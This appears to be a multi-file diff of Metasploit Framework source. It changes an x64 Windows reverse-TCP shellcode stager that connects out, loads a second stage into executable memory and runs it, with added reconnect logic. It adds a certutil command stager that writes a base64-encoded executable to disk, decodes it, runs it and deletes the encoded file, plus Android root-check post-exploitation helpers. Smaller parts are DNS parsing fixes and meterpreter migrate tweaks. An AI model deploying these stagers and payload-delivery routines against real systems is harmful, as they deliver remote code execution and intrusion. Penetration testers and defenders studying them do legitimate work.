mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
|
||||||
call rbp ; GetVersion(); (AL will = major version and AH will = minor version)
|
|
||||||
add rsp, 40 ; cleanup the default param space on stack
|
|
||||||
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
|
|
||||||
jl exitfunk_goodbye ; Then just call the exit function...
|
|
||||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on
|
|
||||||
; Windows Vista, 2008 or 7...
|
|
||||||
jne exitfunk_goodbye ;
|
|
||||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
|
||||||
exitfunk_goodbye: ; We now perform the actual call to the exit function
|
|
||||||
push 0 ;
|
push 0 ;
|
||||||
pop rcx ; set the exit function parameter
|
pop rcx ; set the exit function parameter
|
||||||
|
mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
|
||||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||||
call rbp ; call EXITFUNK( 0 );
|
call rbp ; call EXITFUNK( 0 );
|
||||||
^
|
^
|
||||||
|
|
|
@ -63,11 +63,11 @@ module Payload::Windows::ReverseTcp_x64
|
||||||
def generate_reverse_tcp(opts={})
|
def generate_reverse_tcp(opts={})
|
||||||
combined_asm = %Q^
|
combined_asm = %Q^
|
||||||
cld ; Clear the direction flag.
|
cld ; Clear the direction flag.
|
||||||
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
|
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
|
||||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||||
#{asm_block_api}
|
#{asm_block_api}
|
||||||
start:
|
start:
|
||||||
pop rbp
|
pop rbp ; block API pointer
|
||||||
#{asm_reverse_tcp(opts)}
|
#{asm_reverse_tcp(opts)}
|
||||||
^
|
^
|
||||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||||
|
@ -84,11 +84,11 @@ module Payload::Windows::ReverseTcp_x64
|
||||||
# Start with our cached default generated size
|
# Start with our cached default generated size
|
||||||
space = cached_size
|
space = cached_size
|
||||||
|
|
||||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
|
||||||
space += 31
|
space += 15
|
||||||
|
|
||||||
# Reliability adds 10 bytes for recv error checks
|
# Reliability adds bytes!
|
||||||
space += 10
|
space += 57
|
||||||
|
|
||||||
space += uuid_required_size if include_send_uuid
|
space += uuid_required_size if include_send_uuid
|
||||||
|
|
||||||
|
@ -105,7 +105,6 @@ module Payload::Windows::ReverseTcp_x64
|
||||||
#
|
#
|
||||||
def asm_reverse_tcp(opts={})
|
def asm_reverse_tcp(opts={})
|
||||||
|
|
||||||
# TODO: reliability coming later
|
|
||||||
reliable = opts[:reliable]
|
reliable = opts[:reliable]
|
||||||
retry_count = [opts[:retry_count].to_i, 1].max
|
retry_count = [opts[:retry_count].to_i, 1].max
|
||||||
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
|
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||||
|
@ -124,16 +123,24 @@ module Payload::Windows::ReverseTcp_x64
|
||||||
mov r12, #{encoded_host_port}
|
mov r12, #{encoded_host_port}
|
||||||
push r12 ; host, family AF_INET and port
|
push r12 ; host, family AF_INET and port
|
||||||
mov r12, rsp ; save pointer to sockaddr struct for connect call
|
mov r12, rsp ; save pointer to sockaddr struct for connect call
|
||||||
|
|
||||||
; perform the call to LoadLibraryA...
|
; perform the call to LoadLibraryA...
|
||||||
mov rcx, r14 ; set the param for the library to load
|
mov rcx, r14 ; set the param for the library to load
|
||||||
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||||
call rbp ; LoadLibraryA( "ws2_32" )
|
call rbp ; LoadLibraryA( "ws2_32" )
|
||||||
|
|
||||||
; perform the call to WSAStartup...
|
; perform the call to WSAStartup...
|
||||||
mov rdx, r13 ; second param is a pointer to this stuct
|
mov rdx, r13 ; second param is a pointer to this stuct
|
||||||
push 0x0101 ;
|
push 0x0101 ;
|
||||||
pop rcx ; set the param for the version requested
|
pop rcx ; set the param for the version requested
|
||||||
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||||
call rbp ; WSAStartup( 0x0101, &WSAData );
|
call rbp ; WSAStartup( 0x0101, &WSAData );
|
||||||
|
|
||||||
|
; stick the retry count on the stack and store it
|
||||||
|
push #{retry_count} ; retry counter
|
||||||
|
pop r14
|
||||||
|
|
||||||
|
create_socket:
|
||||||
; perform the call to WSASocketA...
|
; perform the call to WSASocketA...
|
||||||
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
|
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
|
||||||
push rax ; push null for reserved parameter
|
push rax ; push null for reserved parameter
|
||||||
|
@ -143,54 +150,130 @@ module Payload::Windows::ReverseTcp_x64
|
||||||
mov rdx, rax ; push SOCK_STREAM
|
mov rdx, rax ; push SOCK_STREAM
|
||||||
inc rax ;
|
inc rax ;
|
||||||
mov rcx, rax ; push AF_INET
|
mov rcx, rax ; push AF_INET
|
||||||
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||||
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||||
mov rdi, rax ; save the socket for later
|
mov rdi, rax ; save the socket for later
|
||||||
|
|
||||||
|
try_connect:
|
||||||
; perform the call to connect...
|
; perform the call to connect...
|
||||||
push 16 ; length of the sockaddr struct
|
push 16 ; length of the sockaddr struct
|
||||||
pop r8 ; pop off the third param
|
pop r8 ; pop off the third param
|
||||||
mov rdx, r12 ; set second param to pointer to sockaddr struct
|
mov rdx, r12 ; set second param to pointer to sockaddr struct
|
||||||
mov rcx, rdi ; the socket
|
mov rcx, rdi ; the socket
|
||||||
mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" )
|
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
|
||||||
call rbp ; connect( s, &sockaddr, 16 );
|
call rbp ; connect( s, &sockaddr, 16 );
|
||||||
; restore RSP so we dont have any alignment issues with the next block...
|
|
||||||
add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations
|
test eax, eax ; non-zero means failure
|
||||||
|
jz connected
|
||||||
|
|
||||||
|
handle_connect_failure:
|
||||||
|
dec r14 ; decrement the retry count
|
||||||
|
jnz try_connect
|
||||||
^
|
^
|
||||||
|
|
||||||
|
if opts[:exitfunk]
|
||||||
|
asm << %Q^
|
||||||
|
failure:
|
||||||
|
call exitfunk
|
||||||
|
^
|
||||||
|
else
|
||||||
|
asm << %Q^
|
||||||
|
failure:
|
||||||
|
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||||
|
call rbp
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
|
; this lable is required so that reconnect attempts include
|
||||||
|
; the UUID stuff if required.
|
||||||
|
connected:
|
||||||
|
^
|
||||||
asm << asm_send_uuid if include_send_uuid
|
asm << asm_send_uuid if include_send_uuid
|
||||||
|
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
recv:
|
recv:
|
||||||
; Receive the size of the incoming second stage...
|
; Receive the size of the incoming second stage...
|
||||||
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length
|
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the
|
||||||
|
; second stage length
|
||||||
mov rdx, rsp ; set pointer to this buffer
|
mov rdx, rsp ; set pointer to this buffer
|
||||||
xor r9, r9 ; flags
|
xor r9, r9 ; flags
|
||||||
push 4 ;
|
push 4 ;
|
||||||
pop r8 ; length = sizeof( DWORD );
|
pop r8 ; length = sizeof( DWORD );
|
||||||
mov rcx, rdi ; the saved socket
|
mov rcx, rdi ; the saved socket
|
||||||
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||||
call rbp ; recv( s, &dwLength, 4, 0 );
|
call rbp ; recv( s, &dwLength, 4, 0 );
|
||||||
|
^
|
||||||
|
|
||||||
|
if reliable
|
||||||
|
asm << %Q^
|
||||||
|
; reliability: check to see if the recv worked, and reconnect
|
||||||
|
; if it fails
|
||||||
|
cmp eax, 0
|
||||||
|
jle cleanup_socket
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
|
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
|
||||||
|
|
||||||
; Alloc a RWX buffer for the second stage
|
; Alloc a RWX buffer for the second stage
|
||||||
pop rsi ; pop off the second stage length
|
pop rsi ; pop off the second stage length
|
||||||
|
movsxd rsi, esi ; only use the lower-order 32 bits for the size
|
||||||
push 0x40 ;
|
push 0x40 ;
|
||||||
pop r9 ; PAGE_EXECUTE_READWRITE
|
pop r9 ; PAGE_EXECUTE_READWRITE
|
||||||
push 0x1000 ;
|
push 0x1000 ;
|
||||||
pop r8 ; MEM_COMMIT
|
pop r8 ; MEM_COMMIT
|
||||||
mov rdx, rsi ; the newly recieved second stage length.
|
mov rdx, rsi ; the newly recieved second stage length.
|
||||||
xor rcx, rcx ; NULL as we dont care where the allocation is.
|
xor rcx, rcx ; NULL as we dont care where the allocation is.
|
||||||
mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||||
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
; Receive the second stage and execute it...
|
; Receive the second stage and execute it...
|
||||||
mov rbx, rax ; rbx = our new memory address for the new stage
|
mov rbx, rax ; rbx = our new memory address for the new stage
|
||||||
mov r15, rax ; save the address so we can jump into it later
|
mov r15, rax ; save the address so we can jump into it later
|
||||||
|
|
||||||
read_more: ;
|
read_more: ;
|
||||||
xor r9, r9 ; flags
|
xor r9, r9 ; flags
|
||||||
mov r8, rsi ; length
|
mov r8, rsi ; length
|
||||||
mov rdx, rbx ; the current address into our second stages RWX buffer
|
mov rdx, rbx ; the current address into our second stages RWX buffer
|
||||||
mov rcx, rdi ; the saved socket
|
mov rcx, rdi ; the saved socket
|
||||||
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||||
call rbp ; recv( s, buffer, length, 0 );
|
call rbp ; recv( s, buffer, length, 0 );
|
||||||
|
^
|
||||||
|
|
||||||
|
if reliable
|
||||||
|
asm << %Q^
|
||||||
|
; reliability: check to see if the recv worked, and reconnect
|
||||||
|
; if it fails
|
||||||
|
cmp eax, 0
|
||||||
|
jge read_successful
|
||||||
|
|
||||||
|
; something failed so free up memory
|
||||||
|
pop rax
|
||||||
|
push r15
|
||||||
|
pop rcx ; lpAddress
|
||||||
|
push 0x4000 ; MEM_COMMIT
|
||||||
|
pop r8 ; dwFreeType
|
||||||
|
push 0 ; 0
|
||||||
|
pop rdx ; dwSize
|
||||||
|
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
|
||||||
|
call rbp ; VirtualFree(payload, 0, MEM_COMMIT)
|
||||||
|
|
||||||
|
cleanup_socket:
|
||||||
|
; clean up the socket
|
||||||
|
push rdi ; socket handle
|
||||||
|
pop rcx ; s (closesocket parameter)
|
||||||
|
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||||
|
call rbp
|
||||||
|
|
||||||
|
; and try again
|
||||||
|
dec r14 ; decrement the retry count
|
||||||
|
jmp create_socket
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
|
read_successful:
|
||||||
add rbx, rax ; buffer += bytes_received
|
add rbx, rax ; buffer += bytes_received
|
||||||
sub rsi, rax ; length -= bytes_received
|
sub rsi, rax ; length -= bytes_received
|
||||||
test rsi, rsi ; test length
|
test rsi, rsi ; test length
|
||||||
|
|
|
@ -0,0 +1,8 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf::Post::Android
|
||||||
|
|
||||||
|
require 'msf/core/post/android/system'
|
||||||
|
require 'msf/core/post/android/priv'
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,35 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core/post/common'
|
||||||
|
require 'msf/core/post/file'
|
||||||
|
require 'msf/core/post/unix'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Post
|
||||||
|
module Android
|
||||||
|
module Priv
|
||||||
|
|
||||||
|
include Msf::Post::Common
|
||||||
|
|
||||||
|
public
|
||||||
|
|
||||||
|
# Returns whether we are running as root or not.
|
||||||
|
#
|
||||||
|
# @return [Boolean] TrueClass if as root, otherwise FalseClass.
|
||||||
|
def is_root?
|
||||||
|
id = cmd_exec('id')
|
||||||
|
uid = id.scan(/uid=(\d+)(.+)/).flatten.first
|
||||||
|
if /^0$/ === uid
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def get_id
|
||||||
|
cmd_exec('id')
|
||||||
|
end
|
||||||
|
|
||||||
|
end ; end ; end ; end
|
|
@ -0,0 +1,31 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core/post/common'
|
||||||
|
require 'msf/core/post/file'
|
||||||
|
require 'msf/core/post/unix'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Post
|
||||||
|
module Android
|
||||||
|
module System
|
||||||
|
|
||||||
|
include Msf::Post::Common
|
||||||
|
include Msf::Post::File
|
||||||
|
|
||||||
|
# Returns system information from build.prop.
|
||||||
|
#
|
||||||
|
# @return [Hash] System information.
|
||||||
|
def get_build_prop
|
||||||
|
sys_data = {}
|
||||||
|
build_prop = cmd_exec('cat /system/build.prop')
|
||||||
|
|
||||||
|
return sys_data if build_prop.blank?
|
||||||
|
|
||||||
|
build_prop.scan(/(.+)=(.+)/i).collect {|e| Hash[*e]}.each do |setting|
|
||||||
|
sys_data.merge!(setting)
|
||||||
|
end
|
||||||
|
|
||||||
|
return sys_data
|
||||||
|
end
|
||||||
|
|
||||||
|
end ; end ; end ; end
|
|
@ -186,15 +186,7 @@ class Driver < Msf::Ui::Driver
|
||||||
|
|
||||||
# framework.db.active will be true if after_establish_connection ran directly when connection_established? was
|
# framework.db.active will be true if after_establish_connection ran directly when connection_established? was
|
||||||
# already true or if framework.db.connect called after_establish_connection.
|
# already true or if framework.db.connect called after_establish_connection.
|
||||||
if framework.db.active
|
if !! framework.db.error
|
||||||
unless opts['DeferModuleLoads']
|
|
||||||
self.framework.modules.refresh_cache_from_database
|
|
||||||
|
|
||||||
if self.framework.modules.cache_empty?
|
|
||||||
print_status("The initial module cache will be built in the background, this can take 2-5 minutes...")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
elsif !framework.db.error.nil?
|
|
||||||
if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i
|
if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i
|
||||||
print_error("***")
|
print_error("***")
|
||||||
print_error("*")
|
print_error("*")
|
||||||
|
@ -217,13 +209,16 @@ class Driver < Msf::Ui::Driver
|
||||||
# Initialize the module paths only if we didn't get passed a Framework instance and 'DeferModuleLoads' is false
|
# Initialize the module paths only if we didn't get passed a Framework instance and 'DeferModuleLoads' is false
|
||||||
unless opts['Framework'] || opts['DeferModuleLoads']
|
unless opts['Framework'] || opts['DeferModuleLoads']
|
||||||
# Configure the framework module paths
|
# Configure the framework module paths
|
||||||
self.framework.init_module_paths
|
self.framework.init_module_paths(module_paths: opts['ModulePath'])
|
||||||
self.framework.modules.add_module_path(opts['ModulePath']) if opts['ModulePath']
|
end
|
||||||
|
|
||||||
# Rebuild the module cache in a background thread
|
if framework.db.active && !opts['DeferModuleLoads']
|
||||||
|
if self.framework.modules.cache_empty?
|
||||||
self.framework.threads.spawn("ModuleCacheRebuild", true) do
|
self.framework.threads.spawn("ModuleCacheRebuild", true) do
|
||||||
self.framework.modules.refresh_cache_from_module_files
|
self.framework.modules.refresh_cache_from_module_files
|
||||||
end
|
end
|
||||||
|
print_status("The initial module cache will be built in the background, this can take 2-5 minutes...")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Load console-specific configuration (after module paths are added)
|
# Load console-specific configuration (after module paths are added)
|
||||||
|
|
|
@ -40,7 +40,7 @@ module Net # :nodoc:
|
||||||
when Fixnum
|
when Fixnum
|
||||||
return Classes.invert.has_key?(cls)
|
return Classes.invert.has_key?(cls)
|
||||||
else
|
else
|
||||||
raise ClassArgumentError, "Wrong cls class: #{cls.class}"
|
raise ClassArgumentError, "Wrong class: #{cls.class}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -55,7 +55,7 @@ module Net # :nodoc:
|
||||||
raise ClassArgumentError, "Unknown class number #{cls}"
|
raise ClassArgumentError, "Unknown class number #{cls}"
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
raise ClassArgumentError, "Wrong cls class: #{cls.class}"
|
raise ClassArgumentError, "Wrong class: #{cls.class}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -81,7 +81,7 @@ module Net # :nodoc:
|
||||||
@str = Classes.invert[@@default]
|
@str = Classes.invert[@@default]
|
||||||
@num = @@default
|
@num = @@default
|
||||||
else
|
else
|
||||||
raise ClassArgumentError, "Wrong cls class: #{cls.class}"
|
raise ClassArgumentError, "Wrong class: #{cls.class}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -89,15 +89,15 @@ module Net # :nodoc:
|
||||||
# *PRIVATE* method
|
# *PRIVATE* method
|
||||||
def new_from_string(cls)
|
def new_from_string(cls)
|
||||||
case cls
|
case cls
|
||||||
when /^CLASS\\d+/
|
when /^CLASS(\d+)$/
|
||||||
# TODO!!!
|
new_from_num(Regexp.last_match(1).to_i)
|
||||||
else
|
else
|
||||||
# String with name of class
|
# String with name of class
|
||||||
if Classes.has_key? cls
|
if Classes.has_key? cls
|
||||||
@str = cls
|
@str = cls
|
||||||
@num = Classes[cls]
|
@num = Classes[cls]
|
||||||
else
|
else
|
||||||
raise ClassesArgumentError, "Unknown cls #{cls}"
|
raise ClassArgumentError, "Unknown class #{cls}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -105,11 +105,13 @@ module Net # :nodoc:
|
||||||
# Contructor for numeric data class
|
# Contructor for numeric data class
|
||||||
# *PRIVATE* method
|
# *PRIVATE* method
|
||||||
def new_from_num(cls)
|
def new_from_num(cls)
|
||||||
|
raise ClassArgumentError, "Invalid class #{cls}" if cls < 0 || cls > 0xFFFF
|
||||||
if Classes.invert.has_key? cls
|
if Classes.invert.has_key? cls
|
||||||
@num = cls
|
@num = cls
|
||||||
@str = Classes.invert[cls]
|
@str = Classes.invert[cls]
|
||||||
else
|
else
|
||||||
raise ClassesArgumentError, "Unknown cls number #{cls}"
|
@num = cls
|
||||||
|
@str = "CLASS#{cls}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -167,8 +167,8 @@ module Net # :nodoc:
|
||||||
# *PRIVATE* method
|
# *PRIVATE* method
|
||||||
def new_from_string(type)
|
def new_from_string(type)
|
||||||
case type
|
case type
|
||||||
when /^TYPE\\d+/
|
when /^TYPE(\d+)$/
|
||||||
# TODO!!!
|
new_from_num(Regexp.last_match(1).to_i)
|
||||||
else
|
else
|
||||||
# String with name of type
|
# String with name of type
|
||||||
if Types.has_key? type
|
if Types.has_key? type
|
||||||
|
@ -183,11 +183,13 @@ module Net # :nodoc:
|
||||||
# Contructor for numeric data type
|
# Contructor for numeric data type
|
||||||
# *PRIVATE* method
|
# *PRIVATE* method
|
||||||
def new_from_num(type)
|
def new_from_num(type)
|
||||||
|
raise TypeArgumentError, "Invalid type #{type}" if type < 0 || type > 0xFFFF
|
||||||
if Types.invert.has_key? type
|
if Types.invert.has_key? type
|
||||||
@num = type
|
@num = type
|
||||||
@str = Types.invert[type]
|
@str = Types.invert[type]
|
||||||
else
|
else
|
||||||
raise TypeArgumentError, "Unknown type number #{type}"
|
@num = type
|
||||||
|
@str = "TYPE#{type}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -2,6 +2,7 @@
|
||||||
|
|
||||||
require 'rex/exploitation/cmdstager/base'
|
require 'rex/exploitation/cmdstager/base'
|
||||||
require 'rex/exploitation/cmdstager/vbs'
|
require 'rex/exploitation/cmdstager/vbs'
|
||||||
|
require 'rex/exploitation/cmdstager/certutil'
|
||||||
require 'rex/exploitation/cmdstager/debug_write'
|
require 'rex/exploitation/cmdstager/debug_write'
|
||||||
require 'rex/exploitation/cmdstager/debug_asm'
|
require 'rex/exploitation/cmdstager/debug_asm'
|
||||||
require 'rex/exploitation/cmdstager/tftp'
|
require 'rex/exploitation/cmdstager/tftp'
|
||||||
|
|
|
@ -0,0 +1,115 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'rex/text'
|
||||||
|
require 'rex/arch'
|
||||||
|
require 'msf/core/framework'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Exploitation
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This class provides the ability to create a sequence of commands from an executable.
|
||||||
|
# When this sequence is ran via command injection or a shell, the resulting exe will
|
||||||
|
# be written to disk and executed.
|
||||||
|
#
|
||||||
|
# This particular version uses Windows certutil to base64 decode a file,
|
||||||
|
# created via echo >>, and decode it to the final binary.
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Written by xistence
|
||||||
|
# Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
class CmdStagerCertutil < CmdStagerBase
|
||||||
|
|
||||||
|
def initialize(exe)
|
||||||
|
super
|
||||||
|
|
||||||
|
@var_encoded = Rex::Text.rand_text_alpha(5)
|
||||||
|
@var_decoded = Rex::Text.rand_text_alpha(5)
|
||||||
|
@decoder = nil # filled in later
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Override just to set the extra byte count
|
||||||
|
# @param opts [Array] The options to generate the command line
|
||||||
|
# @return [Array] The complete command line
|
||||||
|
def generate_cmds(opts)
|
||||||
|
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
||||||
|
@cmd_start = "echo "
|
||||||
|
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
|
||||||
|
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
||||||
|
opts.merge!({ :extra => xtra_len })
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Simple base64 encoder for the executable
|
||||||
|
# @param opts [Array] The options to generate the command line
|
||||||
|
# @return [String] Base64 encoded executable
|
||||||
|
def encode_payload(opts)
|
||||||
|
Rex::Text.encode_base64(@exe)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Combine the parts of the encoded file with the stuff that goes
|
||||||
|
# before / after it.
|
||||||
|
# @param parts [Array] Splitted commands
|
||||||
|
# @param opts [Array] The options to generate the command line
|
||||||
|
# @return [Array] The command line
|
||||||
|
def parts_to_commands(parts, opts)
|
||||||
|
|
||||||
|
cmds = []
|
||||||
|
parts.each do |p|
|
||||||
|
cmd = ''
|
||||||
|
cmd << @cmd_start
|
||||||
|
cmd << p
|
||||||
|
cmd << @cmd_end
|
||||||
|
cmds << cmd
|
||||||
|
end
|
||||||
|
|
||||||
|
cmds
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Generate the commands that will decode the file we just created
|
||||||
|
# @param opts [Array] The options to generate the command line
|
||||||
|
# @return [Array] The certutil Base64 decoder part of the command line
|
||||||
|
def generate_cmds_decoder(opts)
|
||||||
|
|
||||||
|
cmds = []
|
||||||
|
cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe"
|
||||||
|
return cmds
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# We override compress commands just to stick in a few extra commands
|
||||||
|
# last second..
|
||||||
|
# @param cmds [Array] Complete command line
|
||||||
|
# @param opts [Array] Extra options for command line generation
|
||||||
|
# @return [Array] The complete command line including cleanup
|
||||||
|
def compress_commands(cmds, opts)
|
||||||
|
# Make it all happen
|
||||||
|
cmds << "#{@tempdir}#{@var_decoded}.exe"
|
||||||
|
|
||||||
|
# Clean up after unless requested not to..
|
||||||
|
if (not opts[:nodelete])
|
||||||
|
cmds << "del #{@tempdir}#{@var_encoded}.b64"
|
||||||
|
# NOTE: We won't be able to delete the exe while it's in use.
|
||||||
|
end
|
||||||
|
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
# Windows uses & to concat strings
|
||||||
|
#
|
||||||
|
# @return [String] Concat operator
|
||||||
|
def cmd_concat_operator
|
||||||
|
" & "
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -54,7 +54,7 @@ class ClientCore < Extension
|
||||||
# Initializes the 'core' portion of the meterpreter client commands.
|
# Initializes the 'core' portion of the meterpreter client commands.
|
||||||
#
|
#
|
||||||
def initialize(client)
|
def initialize(client)
|
||||||
super(client, "core")
|
super(client, 'core')
|
||||||
end
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
|
@ -81,7 +81,7 @@ class ClientCore < Extension
|
||||||
|
|
||||||
# No response?
|
# No response?
|
||||||
if response.nil?
|
if response.nil?
|
||||||
raise RuntimeError, "No response was received to the core_enumextcmd request.", caller
|
raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
|
||||||
elsif response.result != 0
|
elsif response.result != 0
|
||||||
# This case happens when the target doesn't support the core_enumextcmd message.
|
# This case happens when the target doesn't support the core_enumextcmd message.
|
||||||
# If this is the case, then we just want to ignore the error and return an empty
|
# If this is the case, then we just want to ignore the error and return an empty
|
||||||
|
@ -180,7 +180,7 @@ class ClientCore < Extension
|
||||||
|
|
||||||
# No library path, no cookie.
|
# No library path, no cookie.
|
||||||
if library_path.nil?
|
if library_path.nil?
|
||||||
raise ArgumentError, "No library file path was supplied", caller
|
raise ArgumentError, 'No library file path was supplied', caller
|
||||||
end
|
end
|
||||||
|
|
||||||
# Set up the proper loading flags
|
# Set up the proper loading flags
|
||||||
|
@ -215,7 +215,7 @@ class ClientCore < Extension
|
||||||
# path of the local and target so that it gets loaded with a random
|
# path of the local and target so that it gets loaded with a random
|
||||||
# name
|
# name
|
||||||
if opts['Extension']
|
if opts['Extension']
|
||||||
library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}"
|
library_path = "ext#{rand(1000000)}.#{client.binary_suffix}"
|
||||||
target_path = library_path
|
target_path = library_path
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -233,7 +233,7 @@ class ClientCore < Extension
|
||||||
|
|
||||||
# No response?
|
# No response?
|
||||||
if response.nil?
|
if response.nil?
|
||||||
raise RuntimeError, "No response was received to the core_loadlib request.", caller
|
raise RuntimeError, 'No response was received to the core_loadlib request.', caller
|
||||||
elsif response.result != 0
|
elsif response.result != 0
|
||||||
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
|
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
|
||||||
end
|
end
|
||||||
|
@ -431,7 +431,7 @@ class ClientCore < Extension
|
||||||
# Migrates the meterpreter instance to the process specified
|
# Migrates the meterpreter instance to the process specified
|
||||||
# by pid. The connection to the server remains established.
|
# by pid. The connection to the server remains established.
|
||||||
#
|
#
|
||||||
def migrate(pid, writable_dir = nil)
|
def migrate(pid, writable_dir = nil, opts = {})
|
||||||
keepalive = client.send_keepalives
|
keepalive = client.send_keepalives
|
||||||
client.send_keepalives = false
|
client.send_keepalives = false
|
||||||
process = nil
|
process = nil
|
||||||
|
@ -440,7 +440,7 @@ class ClientCore < Extension
|
||||||
old_binary_suffix = client.binary_suffix
|
old_binary_suffix = client.binary_suffix
|
||||||
|
|
||||||
# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
|
# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
|
||||||
client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
|
client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')
|
||||||
|
|
||||||
# Determine the architecture for the pid we are going to migrate into...
|
# Determine the architecture for the pid we are going to migrate into...
|
||||||
